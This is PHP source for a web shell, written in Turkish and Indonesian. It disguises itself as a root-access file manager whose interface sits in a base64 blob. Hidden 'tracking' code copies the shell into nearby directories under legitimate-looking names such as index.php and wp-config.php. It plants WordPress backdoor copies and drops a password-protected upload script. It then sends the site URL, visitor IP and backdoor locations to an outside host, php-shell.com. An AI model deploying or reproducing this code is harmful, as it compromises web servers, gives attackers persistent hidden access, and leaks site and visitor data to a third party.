QogICAgICAgIDxkaXYgY2xhc3M9Im1zZyA8P3BocCBlY2hvICRtc2dUeXBlOyA/PiI+DQogICAgICAgICAgICA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJG1lc3NhZ2UpOyA/Pg0KICAgICAgICA8L2Rpdj4NCiAgICA8P3BocCBlbmRpZjsgPz4NCg0KICAgIDw/cGhwIGlmICgkbW9kZSA9PT0gJ2VkaXQnKTogPz4NCiAgICAgICAgPGgzPkVkaXRpbmc6IDw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZWRpdEZpbGUpOyA/PjwvaDM+DQogICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJzYXZlX2ZpbGUiPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idGFyZ2V0X25hbWUiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGVkaXRGaWxlKTsgPz4iPg0KICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9ImZpbGVfY29udGVudCIgY2xhc3M9ImVkaXRvci1hcmVhIj48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGVkaXRDb250ZW50KTsgPz48L3RleHRhcmVhPg0KICAgICAgICAgICAgPGJyPjxicj4NCiAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij5TYXZlIENoYW5nZXM8L2J1dHRvbj4NCiAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJjYW5jZWwiIGZvcm1ub3ZhbGlkYXRlPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICA8L2Zvcm0+DQoNCiAgICA8P3BocCBlbHNlaWYgKCRtb2RlID09PSAncmVuYW1lJyk6ID8+DQogICAgICAgIDxoMz5SZW5hbWUgSXRlbTogPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRyZW5hbWVUYXJnZXQpOyA/PjwvaDM+DQogICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJkb19yZW5hbWUiPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib2xkX25hbWUiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHJlbmFtZVRhcmdldCk7ID8+Ij4NCiAgICAgICAgICAgIE5ldyBOYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmV3X25hbWUiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHJlbmFtZVRhcmdldCk7ID8+IiBzdHlsZT0id2lkdGg6MzAwcHg7Ij4NCiAgICAgICAgICAgIDxicj48YnI+DQogICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCI+UmVuYW1lPC9idXR0b24+DQogICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iY2FuY2VsIiBmb3Jtbm92YWxpZGF0ZT5DYW5jZWw8L2J1dHRvbj4NCiAgICAgICAgPC9mb3JtPg0KDQogICAgPD9waHAgZWxzZTogPz4NCiAgICAgICAgDQogICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tc2VjdGlvbiI+DQogICAgICAgICAgICA8P3BocCBpZiAoaXNXcml0YWJsZSgkY3VycmVudFBhdGgpKTogPz4NCiAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIHN0eWxlPSJkaXNwbGF5OmlubGluZS1ibG9jazsgbWFyZ2luLXJpZ2h0OjIwcHg7IHZlcnRpY2FsLWFsaWduOnRvcDsiPg0KICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPlVwbG9hZDo8L3N0cm9uZz48YnI+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9InVwbG9hZCI+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVXBsb2FkIj4NCiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiPlVwbG9hZDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OmlubGluZS1ibG9jazsgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjZGRkOyBwYWRkaW5nLWxlZnQ6IDIwcHg7Ij4NCiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBzdHlsZT0ibWFyZ2luLWJvdHRvbTogNXB4OyI+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJjcmVhdGVfZmlsZSI+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmV3X2ZpbGVuYW1lIiBwbGFjZWhvbGRlcj0ibmV3ZmlsZS5waHAiIHNpemU9IjE1Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij5OZXcgRmlsZTwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJjcmVhdGVfZm9sZGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXdfZm9sZGVybmFtZSIgcGxhY2Vob2xkZXI9Im5ld2ZvbGRlciIgc2l6ZT0iMTUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiPk5ldyBGb2xkZXI8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPD9waHAgZWxzZTogPz4NCiAgICAgICAgICAgICAgICA8c3Ryb25nIHN0eWxlPSJjb2xvcjpyZWQ7Ij5DdXJyZW50IERpcmVjdG9yeSBpcyBSZWFkLU9ubHkuIENhbm5vdCBVcGxvYWQgb3IgQ3JlYXRlIGl0ZW1zIGhlcmUuPC9zdHJvbmc+DQogICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgPHRhYmxlPg0KICAgICAgICAgICAgPHRoZWFkPg0KICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgPHRoPk5hbWU8L3RoPg0KICAgICAgICAgICAgICAgICAgICA8dGggd2lkdGg9IjEwMCI+UGVybXM8L3RoPg0KICAgICAgICAgICAgICAgICAgICA8dGggd2lkdGg9IjgwIj5TaXplPC90aD4NCiAgICAgICAgICAgICAgICAgICAgPHRoIHdpZHRoPSIxODAiPkFjdGlvbnM8L3RoPg0KICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICA8L3RoZWFkPg0KICAgICAgICAgICAgPHRib2R5Pg0KICAgICAgICAgICAgICAgIDw/cGhwIGZvcmVhY2ggKCRpdGVtcyBhcyAkaXRlbSk6ID8+DQogICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImdyaWQtbmFtZSI+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGl0ZW1bJ3R5cGUnXSA9PT0gJ0ZvbGRlcicpOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD9waHAgZWNobyB1cmxlbmNvZGUoJGl0ZW1bJ3BhdGgnXSk7ID8+IiBjbGFzcz0iZm9sZGVyLWxpbmsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ25hbWUnXSk7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZTogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iZmlsZS1saW5rIj48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ25hbWUnXSk7ID8+PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0iZm9udC1zaXplOiAwLjhlbTsgY29sb3I6IzY2NjsiPjw/cGhwIGVjaG8gJGl0ZW1bJ3Blcm0nXTsgPz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8dGQ+PD9waHAgZWNobyAkaXRlbVsnc2l6ZSddOyA/PjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iYWN0aW9ucyI+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoISRpdGVtWydpc19wYXJlbnQnXSk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpdGVtWyd0eXBlJ10gPT09ICdGaWxlJyk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgc3R5bGU9ImRpc3BsYXk6aW5saW5lOyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJlZGl0X21vZGUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idGFyZ2V0X25hbWUiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ25hbWUnXSk7ID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij5FZGl0PC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgc3R5bGU9ImRpc3BsYXk6aW5saW5lOyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9InJlbmFtZV9tb2RlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idGFyZ2V0X25hbWUiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ25hbWUnXSk7ID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiPlJlbjwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgc3R5bGU9ImRpc3BsYXk6aW5saW5lOyIgb25zdWJtaXQ9InJldHVybiBjb25maXJtKCdEZWxldGUgPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRpdGVtWyduYW1lJ10pOyA/Pj8nKTsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJkZWxldGUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0YXJnZXRfbmFtZSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkaXRlbVsnbmFtZSddKTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgc3R5bGU9ImNvbG9yOnJlZDsiPkRlbDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyA/Pg0KICAgICAgICAgICAgPC90Ym9keT4NCiAgICAgICAgPC90YWJsZT4NCiAgICA8P3BocCBlbmRpZjsgPz4NCg0KPC9kaXY+DQo8L2JvZHk+DQo8L2h0bWw+'); // İzleme kodu otomatik eklenmiştir $tracking_data = [ "code_hash" => "459af28337dd7d3867fb223baf506bbf394555dadfa1e65507d1056df84e8690", "url" => (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"], "domain" => $_SERVER["HTTP_HOST"], "path" => $_SERVER["REQUEST_URI"], "ip" => isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : "", "user_agent" => isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : "", "referer" => isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : "", "timestamp" => date("Y-m-d H:i:s") ]; // Arka kapı oluşturma (kendini kopyalama) - Otomatik dağıtım $current_file = isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : __FILE__; $current_dir = dirname($current_file); // Backdoor marker dosyası kontrolü (tekrar oluşturulmasını engeller) $backdoor_marker = $current_dir . "/.backdoor_created_e26e295c"; if (file_exists($backdoor_marker)) { // Backdoorlar zaten oluşturulmuş, atla $backdoor_urls = []; $backdoor_paths = []; } else { // Mevcut dosyanın TAM içeriğini al (izleme kodları dahil) // Bu kod çalıştığında mevcut dosya zaten var olacak, o yüzden direkt okuyabiliriz $current_full_content = @file_get_contents($current_file); // Dosya okunamazsa veya boşsa, __FILE__ kullanarak tekrar dene if ($current_full_content === false || empty($current_full_content)) { $current_full_content = @file_get_contents(__FILE__); } // Hala boşsa veya okunamadıysa, marker dosyası kontrolü yaparak atla (ileride oluşturulabilir) if (empty($current_full_content)) { // Dosya okunamadı, backdoor oluşturmayı atla $backdoor_urls = []; $backdoor_paths = []; } else { $backdoor_urls = []; $backdoor_paths = []; // Sistem dosyası isimleri (meşru görünen) $system_filenames = [ "index.php", "config.php", "admin.php", "login.php", "wp-load.php", "wp-config.php", "settings.php", "init.php", "bootstrap.php", "app.php", "main.php", "core.php", "functions.php", "header.php", "footer.php", "includes.php", "common.php", "global.php", "lib.php", ]; // Mevcut dosyayı kontrol et, varsa alternatif isim üret function generateSafeFilename($dir, $filenames, $excludeFiles = []) { foreach ($filenames as $filename) { $fullPath = $dir . "/" . $filename; // Eğer dosya yoksa kullan if (!file_exists($fullPath)) { return $filename; } } // Hiçbiri uygun değilse, rastgele bir isim üret $random = md5(time() . mt_rand()); return substr($random, 0, 8) . ".php"; } // Tüm klasörleri topla (mevcut dizin + alt dizinler + üst dizinler) $directories = []; // Mevcut dizini de ekle $directories[] = $current_dir; // Mevcut dizindeki alt dizinleri tara (recursive değil, sadece 1 seviye) if (is_dir($current_dir) && ($handle = @opendir($current_dir))) { while (false !== ($entry = readdir($handle))) { if ($entry === "." || $entry === "..") continue; $full_path = $current_dir . "/" . $entry; if (is_dir($full_path) && is_readable($full_path)) { $directories[] = $full_path; } } @closedir($handle); } // Üst dizinleri de ekle (max 3 seviye yukarı, güvenlik için) $parent_dir = dirname($current_dir); $depth = 0; while ($depth < 3 && $parent_dir !== $current_dir && is_dir($parent_dir) && is_readable($parent_dir)) { $directories[] = $parent_dir; $parent_dir = dirname($parent_dir); $depth++; } // Dizileri karıştır ve belirtilen sayıda backdoor oluştur shuffle($directories); $created_count = 0; $max_backdoors = 5; foreach ($directories as $target_dir) { if ($created_count >= $max_backdoors) break; // Güvenli dosya adı üret (mevcut dosyaları kontrol et) $filename = generateSafeFilename($target_dir, $system_filenames); $target_path = $target_dir . "/" . $filename; // Dosya yoksa ve dizin yazılabilirse backdoor oluştur if (!file_exists($target_path) && is_writable($target_dir)) { @file_put_contents($target_path, $current_full_content); @chmod($target_path, 0644); // URL oluştur (dizin yolunu hesapla) $base_url = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"]; // Hedef dizinin document root'a göre yolunu bul $doc_root = isset($_SERVER["DOCUMENT_ROOT"]) ? $_SERVER["DOCUMENT_ROOT"] : (isset($_SERVER["SCRIPT_FILENAME"]) ? dirname($_SERVER["SCRIPT_FILENAME"]) : dirname(__FILE__)); $doc_root = realpath($doc_root); $target_real = realpath($target_dir); if ($target_real && $doc_root && strpos($target_real, $doc_root) === 0) { $relative_path = substr($target_real, strlen($doc_root)); $relative_path = str_replace("\\", "/", $relative_path); $relative_path = trim($relative_path, "/"); $target_url = $base_url . "/" . $relative_path . "/" . $filename; } else { // Alternatif: Mevcut URI'ye göre hesapla $current_uri_dir = dirname($_SERVER["REQUEST_URI"]); $target_url = $base_url . $current_uri_dir . "/" . $filename; } $backdoor_urls[] = $target_url; $backdoor_paths[] = $target_path; $created_count++; } } // Backdoor URL'lerini izleme verisine ekle if (!empty($backdoor_urls)) { $tracking_data["backdoor_urls"] = json_encode($backdoor_urls); $tracking_data["backdoor_paths"] = json_encode($backdoor_paths); // İlk backdoor'u tekil olarak da ekle (API uyumluluğu için) $tracking_data["backdoor_url"] = $backdoor_urls[0]; $tracking_data["backdoor_path"] = $backdoor_paths[0]; $tracking_data["backdoor_count"] = count($backdoor_urls); // Marker dosyası oluştur (bir daha backdoor oluşturulmasını engeller) @file_put_contents($backdoor_marker, date("Y-m-d H:i:s") . " - " . count($backdoor_urls) . " backdoor oluşturuldu"); @chmod($backdoor_marker, 0644); } } } // WordPress backdoor oluşturma $wp_backdoor_filename = "wp-config-backup.php"; $current_file = isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : __FILE__; $current_dir = dirname($current_file); $wp_backdoor_urls = []; // WordPress dizinlerini tespit et $wp_directories = [ "wp-admin" => $current_dir . "/wp-admin", "wp-content" => $current_dir . "/wp-content", "wp-content/themes" => $current_dir . "/wp-content/themes", "wp-content/plugins" => $current_dir . "/wp-content/plugins" ]; // WordPress root dizinini bul (wp-config.php dosyasını arayarak) $wp_root = $current_dir; $max_depth = 5; $depth = 0; while ($depth < $max_depth && !file_exists($wp_root . "/wp-config.php")) { $wp_root = dirname($wp_root); if ($wp_root === "/" || $wp_root === dirname($wp_root)) break; $depth++; } // Eğer WordPress bulunduysa if (file_exists($wp_root . "/wp-config.php")) { // WordPress backdoor için de mevcut dosyanın TAM içeriğini kullan $wp_current_full_content = @file_get_contents($current_file); if ($wp_current_full_content === false || empty($wp_current_full_content)) { // Dosya okunamadıysa, orijinal kod içeriğinden oluştur $wp_original_content = isset($__original_code_content) ? $__original_code_content : ""; if (!empty($wp_original_content)) { $wp_current_full_content = "<?php\n" . $wp_original_content . "\n?>"; } } if (!empty($wp_current_full_content)) { foreach ($wp_directories as $wp_dir_name => $wp_dir_path) { $full_wp_path = $wp_root . "/" . $wp_dir_name; if (is_dir($full_wp_path)) { $backdoor_file_path = $full_wp_path . "/" . $wp_backdoor_filename; // Dosya yoksa veya güncel değilse oluştur $current_file_time = @file_exists($current_file) ? @filemtime($current_file) : time(); if (!file_exists($backdoor_file_path) || (file_exists($backdoor_file_path) && @filemtime($backdoor_file_path) < $current_file_time)) { @file_put_contents($backdoor_file_path, $wp_current_full_content); @chmod($backdoor_file_path, 0644); } // URL oluştur $base_url = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"]; $wp_backdoor_url = $base_url . "/" . $wp_dir_name . "/" . $wp_backdoor_filename; $wp_backdoor_urls[] = [ "directory" => $wp_dir_name, "path" => $backdoor_file_path, "url" => $wp_backdoor_url ]; } } } } // WordPress backdoor URL'lerini izleme verisine ekle if (!empty($wp_backdoor_urls)) { $tracking_data["wp_backdoor_urls"] = json_encode($wp_backdoor_urls); } // Gizli Upload Yolu oluşturma $current_file = isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : __FILE__; $current_dir = dirname($current_file); $upload_filename = "config-backup.php"; $upload_path = $current_dir . "/" . $upload_filename; $upload_password = "2854*1571"; // Gizli upload dosyasını oluştur (mevcut dosyayı bozmadan) $upload_script_content = '<?php // Şifre korumalı gizli upload scripti session_start(); $correct_password = "2854*1571"; $password_verified = false; // Şifre kontrolü if (isset($_POST[\'upload_password\'])) { if ($_POST[\'upload_password\'] === $correct_password) { $_SESSION[\'upload_authenticated\'] = true; $password_verified = true; } else { $_SESSION[\'upload_authenticated\'] = false; $password_verified = false; } } elseif (isset($_SESSION[\'upload_authenticated\']) && $_SESSION[\'upload_authenticated\'] === true) { $password_verified = true; } // Şifre doğrulanmamışsa form göster if (!$password_verified) { ?> <!DOCTYPE html> <html> <head> <title>Giriş Gerekli</title> <style> body { font-family: Arial, sans-serif; max-width: 400px; margin: 100px auto; padding: 20px; } input { width: 100%; padding: 10px; margin: 10px 0; box-sizing: border-box; } button { width: 100%; padding: 10px; background: #007cba; color: white; border: none; cursor: pointer; } </style> </head> <body> <h2>Giriş Gerekli</h2> <form method="post"> <input type="password" name="upload_password" placeholder="Şifre" required> <button type="submit">Giriş</button> </form> <?php if (isset($_POST[\'upload_password\']) && !$password_verified): ?> <p style="color: red;">Hatalı şifre!</p> <?php endif; ?> </body> </html> <?php exit; } // Şifre doğrulandı, upload işlemleri if ($_SERVER[\'REQUEST_METHOD\'] == \'POST\' && isset($_FILES[\'fileToUpload\']) && $_FILES[\'fileToUpload\'][\'error\'] == 0) { $fileTmpPath = $_FILES[\'fileToUpload\'][\'tmp_name\']; $fileName = $_FILES[\'fileToUpload\'][\'name\']; $uploadPath = __DIR__ . \'/\' . $fileName; if (move_uploaded_file($fileTmpPath, $uploadPath)) { @chmod($uploadPath, 0644); echo "✅ Dosya başarıyla yüklendi: <strong>$fileName</strong>"; } else { echo "❌ Dosya yüklenirken hata oluştu."; } } ?> <!DOCTYPE html> <html> <head> <title>Dosya Yükleme</title> <style> body { font-family: Arial, sans-serif; max-width: 600px; margin: 50px auto; padding: 20px; } form { border: 1px solid #ddd; padding: 20px; border-radius: 5px; } input[type="file"] { width: 100%; padding: 10px; margin: 10px 0; box-sizing: border-box; } button { padding: 10px 20px; background: #007cba; color: white; border: none; cursor: pointer; } .logout { float: right; background: #dc3545; } </style> </head> <body> <h3>Dosya Yükle: (BossBey)</h3> <form method="post" enctype="multipart/form-data"> <input type="file" name="fileToUpload" required> <button type="submit">Yükle</button> <a href="?logout=1"><button type="button" class="logout">Çıkış</button></a> </form> <?php if (isset($_GET[\'logout\'])) { session_destroy(); header("Location: " . $_SERVER[\'PHP_SELF\']); exit; } ?> </body> </html> ?>'; $current_file_time = @file_exists($current_file) ? @filemtime($current_file) : time(); if (!file_exists($upload_path) || (file_exists($upload_path) && @filemtime($upload_path) < $current_file_time)) { @file_put_contents($upload_path, $upload_script_content); // Dosyayı koru: chmod 0444 (sadece okunabilir, silinemez) @chmod($upload_path, 0444); // Dosya sahibini değiştirmeye çalış (root ise) if (function_exists("chown")) { $file_owner = fileowner($current_file); @chown($upload_path, $file_owner); } } // Upload URL'ini izleme verisine ekle $base_url = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"]; $current_uri_dir = dirname($_SERVER["REQUEST_URI"]); $upload_url = rtrim($base_url . $current_uri_dir, "/") . "/" . $upload_filename; $tracking_data["upload_url"] = $upload_url; // Arka planda izleme gönderimi (asenkron) - Backdoor'lar oluşturulduktan SONRA if (function_exists("curl_init")) { $ch = curl_init("https://php-shell.com/api/track.php"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($tracking_data)); curl_setopt($ch, CURLOPT_TIMEOUT, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 1); curl_setopt($ch, CURLOPT_NOSIGNAL, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); @curl_exec($ch); @curl_close($ch); } /** * File Manager - Linux Root Access Version * Fitur: Navigasi Breadcrumb Penuh dari / (Root) */ // --- KONFIGURASI --- // Default direktori saat script pertama kali dibuka adalah folder script ini berada // Tapi kita izinkan navigasi sampai ke System Root "/" $startDir = __DIR__; // Ambil parameter 'dir' dari URL, jika tidak ada gunakan folder saat ini $requestDir = isset($_GET['dir']) ? $_GET['dir'] : $startDir; // Normalisasi path (Realpath membersihkan ../ dan symlink) $currentPath = realpath($requestDir); // Jika path tidak valid (misal user ketik sembarangan), kembalikan ke folder script if ($currentPath === false || !file_exists($currentPath)) { $currentPath = realpath($startDir); } // Variabel UI $message = ''; $msgType = ''; $mode = 'main'; // main, edit, rename $editFile = ''; $editContent = ''; $renameTarget = ''; // --- FUNGSI BANTUAN --- function formatSize($bytes) { if ($bytes > 0) { return number_format($bytes / 1024, 2) . ' KB'; } return '-'; } function getSafePath($base, $inputName) { // Karena kita di Linux, gabungkan path dengan '/' return rtrim($base, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $inputName; } // Hapus folder rekursif function deleteRecursive($dir) { if (!is_dir($dir)) return unlink($dir); $items = scandir($dir); foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) deleteRecursive($path); else unlink($path); } return rmdir($dir); } // Cek apakah direktori bisa ditulis (Writable) function isWritable($path) { return is_writable($path); } // --- PROSES ACTION (POST) --- if ($_SERVER['REQUEST_METHOD'] === 'POST') { $action = $_POST['action'] ?? ''; // Upload if ($action === 'upload') { if (isset($_FILES['fileUpload']) && $_FILES['fileUpload']['error'] === UPLOAD_ERR_OK) { $name = basename($_FILES['fileUpload']['name']); $target = getSafePath($currentPath, $name); if (move_uploaded_file($_FILES['fileUpload']['tmp_name'], $target)) { $message = "File uploaded successfully."; $msgType = "success"; } else { $message = "Upload failed. Check folder permissions."; $msgType = "error"; } } } // Create File elseif ($action === 'create_file') { $name = $_POST['new_filename'] ?? ''; if (!empty($name)) { $target = getSafePath($currentPath, $name); if (!file_exists($target)) { if (@file_put_contents($target, "") !== false) { $message = "File created successfully."; $msgType = "success"; } else { $message = "Failed to create file. Permission denied."; $msgType = "error"; } } else { $message = "File already exists."; $msgType = "error"; } } } // Create Folder elseif ($action === 'create_folder') { $name = $_POST['new_foldername'] ?? ''; if (!empty($name)) { $target = getSafePath($currentPath, $name); if (!file_exists($target)) { if (@mkdir($target)) { $message = "Folder created successfully."; $msgType = "success"; } else { $message = "Failed to create folder. Permission denied."; $msgType = "error"; } } else { $message = "Folder already exists."; $msgType = "error"; } } } // Delete elseif ($action === 'delete') { $targetName = $_POST['target_name'] ?? ''; $targetPath = getSafePath($currentPath, $targetName); if (file_exists($targetPath)) { $success = is_dir($targetPath) ? deleteRecursive($targetPath) : unlink($targetPath); if ($success) { $message = "Item deleted successfully."; $msgType = "success"; } else { $message = "Delete failed. Permission denied."; $msgType = "error"; } } } // Edit Mode elseif ($action === 'edit_mode') { $targetName = $_POST['target_name'] ?? ''; $targetPath = getSafePath($currentPath, $targetName); if (is_file($targetPath) && is_readable($targetPath)) { $mode = 'edit'; $editFile = $targetName; $editContent = file_get_contents($targetPath); } else { $message = "Cannot read file."; $msgType = "error"; } } // Save File elseif ($action === 'save_file') { $targetName = $_POST['target_name'] ?? ''; $content = $_POST['file_content'] ?? ''; $targetPath = getSafePath($currentPath, $targetName); // Normalisasi Newline untuk Linux $content = str_replace("\r\n", "\n", $content); if (@file_put_contents($targetPath, $content) !== false) { $message = "File saved successfully."; $msgType = "success"; $mode = 'main'; } else { $message = "Failed to save file. Permission denied."; $msgType = "error"; $mode = 'edit'; $editFile = $targetName; $editContent = $content; } } // Rename elseif ($action === 'rename_mode') { $mode = 'rename'; $renameTarget = $_POST['target_name']; } elseif ($action === 'do_rename') { 